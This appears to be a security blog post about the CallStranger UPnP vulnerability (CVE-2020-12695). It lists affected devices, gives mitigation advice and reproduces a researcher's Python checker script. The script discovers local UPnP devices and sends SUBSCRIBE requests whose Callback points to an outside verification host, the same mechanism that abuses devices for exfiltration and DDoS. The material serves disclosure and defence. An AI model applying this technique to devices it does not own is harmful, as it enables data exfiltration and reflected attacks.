Posted on

New CallStranger exploit takes advantage of UPnP vulnerability in millions of routers, gaming systems, TVs, printers, and other Internet-connected attachable devices.

New CallStranger exploit takes advantage of UPnP vulnerability

Researchers just announced the discovery of a UPnP vulnerability that impacts any UPnP device exposed on the Internet. The attack, called CallStranger (CVE-2020-12695), is being used for massive DDoS attacks , to exfiltrate data, and to scan ports from Internet-facing UPnP devices.

How the CallStranger exploit works

The attack takes advantage of a Callback header value in the SUBSCRIBE function so you can block all SUBSCRIBE and NOTIFY HTTP packets in ingress and egress traffic for protection. DDoS protection can be configured to block NOTIFY packets too.

You can also disable UPnP services on cameras, printers, routers, and other connected devices if the product provides the means to do so. Some products also list UPnP ports used. If so, you could block those too (or use Nmap to discover the open ports if no documentation is available).

SUBSCRIBE publisher_path HTTP/1.1
HOST: publisher_host:publisher_port
CALLBACK:
NT: upnp:event
TIMEOUT: Second-requested subscription duration

Researchers were able to confirm the following devices are susceptible to attack. They are waiting confirmation on another 14 devices. Thus far in their testing, only 2 devices have been found to not be vulnerable.

  • Windows 10 (Probably all Windows versions including servers) – upnphost.dll 10.0.18362.719
  • Xbox One- OS Version 10.0.19041.2494
  • ADB TNR-5720SX Box (TNR-5720SX/v16.4-rc-371-gf5e2289 UPnP/1.0 BH-upnpdev/2.0)
  • Asus ASUS Media Streamer
  • Asus RT-N66U Firmware: 3.0.0.4.382_51640-g679a7e3
  • Asus Rt-N11
  • Belkin WeMo
  • Broadcom ADSL Modems
  • Canon Canon SELPHY CP1200 Printer
  • Cisco X1000 – (LINUX/2.4 UPnP/1.0 BRCM400/1.0)
  • Cisco X3500 – (LINUX/2.4 UPnP/1.0 BRCM400/1.0)
  • D-Link DVG-N5412SP WPS Router (OS 1.0 UPnP/1.0 Realtek/V1.3)
  • EPSON EP, EW, XP Series (EPSON_Linux UPnP/1.0 Epson UPnP SDK/1.0)
  • HP Deskjet, Photosmart, Officejet ENVY Series (POSIX, UPnP/1.0, Intel MicroStack/1.0.1347)
  • Huawei HG255s Router – Firmware HG255sC163B03 (ATP UPnP Core)
  • JRiver DLNA Server 19.0.163 (Windows, UPnP/1.1 DLNADOC/1.50, JRiver/19)
  • NEC AccessTechnica WR8165N Router ( OS 1.0 UPnP/1.0 Realtek/V1.3)
  • Philips 2k14MTK TV – Firmware TPL161E_012.003.039.001
  • Samsung UE55MU7000 TV – Firmware T-KTMDEUC-1280.5, BT – S
  • Samsung MU8000 TV
  • TP-Link TL-WA801ND (Linux/2.6.36, UPnP/1.0, Portable SDK for UPnP devices/1.6.19)
  • TP-Link Archer VR200 (Linux/2.6.32.42, UPnP/1.0, Portable SDK for UPnP devices/1.6.19)
  • Trendnet TV-IP551W (OS 1.0 UPnP/1.0 Realtek/V1.3)
  • Zyxel VMG8324-B10A (LINUX/2.6 UPnP/1.0 BRCM400-UPnP/1.0)

Here is a script that can scan subnets for the vulnerability.

import os
import sys, getopt
import upnpy
import requests
import uuid
import socket
import cryptography
import time
from cryptography.fernet import Fernet
from sys import platform
from termcolor import colored, cprint

if(sys.platform=='win32'):
	os.system('color')

print('This script created by Yunus Çadırcı (https://twitter.com/yunuscadirci) to check against CallStranger (CVE-2020-12695) vulnerability. An attacker can use this vulnerability for:')
print('* Bypassing DLP for exfiltrating data')
print('* Using millions of Internet-facing UPnP device as source of amplified reflected TCP DDoS / SYN Flood')
print('* Scanning internal ports from Internet facing UPnP devices')
print('You can find detailed information on https://www.callstranger.com  https://kb.cert.org/vuls/id/339275 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12695')
print('Slightly modified version of https://github.com/5kyc0d3r/upnpy used for base UPnP communication')

def subscribe(URL,callbackURL):
	myheaders = {
	'User-Agent':'Callstranger Vulnerability Checker',
    'CALLBACK': '<'+callbackURL+'>',
    'NT': 'upnp:event',
    'TIMEOUT': 'Second-300'} 
	#print(URL,callbackURL,'sending')
	req = requests.request('SUBSCRIBE', URL,headers=myheaders)
	if req.status_code==200:
		print(colored('Subscribe to '+URL+' seems successfull','green'))
		print(req.headers)
		print(req.text)
	else:
		print(colored('Subscribe to '+URL+' failed with status code:'+str(req.status_code),'red'))
		print(req.headers)
		print(req.text)
	
def getsession(path):
	session=''
	try:
		getses=requests.request('PUT',path)
		session=getses.text
		print(colored('Successfully get session:'+session,'green'))
	except:
		print(colored('Could not  contact server',path,' for vulnerability confirmation','red'))
	return session
	
def confirmvulnerableservices(path,key):
	vulnerableservices=''
	try:
		getservices=requests.request('PUT',path)
		vulnerableservices=getservices.text
		print(colored('Successfully get services from server: '+path,'green'))
		print('')
		print('Encrypted vulnerable services:')
		print(vulnerableservices);
		print('')
		print('Decyripting vulnerable services with key:' , key)
		f = Fernet(key)
		i=1
		decryiptedvulnerableservices=[]
		print(colored('\nVerified vulnerable services: ','red'))
		for line in vulnerableservices.splitlines():
			print(colored(str(i)+':	'+f.decrypt(line.encode()).decode(),'red'))
			decryiptedvulnerableservices.append(f.decrypt(line.encode()).decode())
			i=i+1
			
		unverifiedservices=Diff(services,decryiptedvulnerableservices)
		
		print(colored('\nUnverified  services: ','yellow'))
		i=1
		for unverifiedservice in unverifiedservices:
			print(colored(str(i)+':	'+unverifiedservice,'yellow'))
			i=i+1
	except:
		print(colored('Could not get services from server',path,' for vulnerability confirmation','red'))

def Diff(li1, li2): 
    li_dif = [i for i in li1 + li2 if i not in li1 or i not in li2] 
    return li_dif 

services=[]
serviceeventSubURLs=[]
dummyservicekeywords=['dummy','notfound']
# this host must be external so you can be sure that devices are vulnerable. Most of UPnP stacks don't allow hostname. use IP if possible
StrangerHost='http://'+socket.gethostbyname('verify.callstranger.com')
StrangerPort='80'
getSessionPath='/CallStranger.php?c=getsession'
putServicePath='/CallStranger.php?c=addservice&service=' # this HTTP request verb is NOTIFY , your web server must respond to NOTIFY
getVulnerableServicesPath='/CallStranger.php?c=getservices'
print('Stranger Host:',StrangerHost)
print('Stranger Port:',StrangerPort)

upnp = upnpy.UPnP()

# Discover UPnP devices on the network

devices = upnp.discover()
if len(devices)>0:
	print(colored(len(devices),'blue') , colored(' devices found:','blue'))

	for device in devices:
		print('\n',colored(device.friendly_name,'yellow') ,device.base_url,'(',device.document_location,')')
		tmpservices=device.get_services()
		print(colored('\n  ' +str(len(tmpservices)) + ' service(s) found for '+device.friendly_name,'yellow'))
		for tmpservice in tmpservices:
			print('    ',tmpservice.service, "	-->",device.base_url+tmpservice.event_sub_url,  )
			if any(x in  tmpservice.event_sub_url for x in dummyservicekeywords):
				print('     --skipping ',device.base_url+tmpservice.event_sub_url ,'because it contains dummy service keywords')
			else:
				services.append(device.base_url+tmpservice.event_sub_url)
			
	print('\n','Total', len(services), 'service(s) found. do you want to continue to VERIFY if service(s) are vulnerable?')
	print(colored('Be careful: This operation needs Internet access and may transfer data about devices over network. Data encrypted on local and we can not see which services are vulnerable but ISPs and other elements may be able to inspect HTTP headers created by UPnP device. Because most of UPnPstack do not allow SSL connection we can not use it. ','red'))
	if input('Do you want to continue? y/N ') == 'y':
		ss=getsession(StrangerHost+':'+StrangerPort+getSessionPath)
		key = Fernet.generate_key()
		f=Fernet(key)
		print('Symmetric random key for encryption:',key,' We do not send this value to server so we can not see which services are vulnerable. All confirmation process is done on client side' )
		for serv in services:
			path=StrangerHost+':'+StrangerPort+putServicePath+f.encrypt(serv.encode()).decode()+'&token='+ss
			print('Calling stranger for ', serv, 'with',path)
			subscribe(serv,path)
			
		print(colored('\n	Waiting 5 second for asynchronous requests','yellow'))
		time.sleep(5) 
		vulnerabilityconfirmationpath=StrangerHost+':'+StrangerPort+getVulnerableServicesPath+'&token='+ss
		confirmvulnerableservices(vulnerabilityconfirmationpath,key)
else:
	print( colored('No UPnP device found. Possible reasons: ','yellow'))
	print( colored('* You just connected to network.','yellow'))
	print( colored('* UPnP stack is too slow. Restart this script','yellow'))
	print( colored('* UPnP is disabled on OS.','yellow'))
	print( colored('* UPnP is disabled on devices.','yellow'))
	print( colored('* There is no UPnP supported device.','yellow'))
	print( colored('* Your OS works on VM with NAT configuration.','yellow'))

Sources: GitHub/CallStranger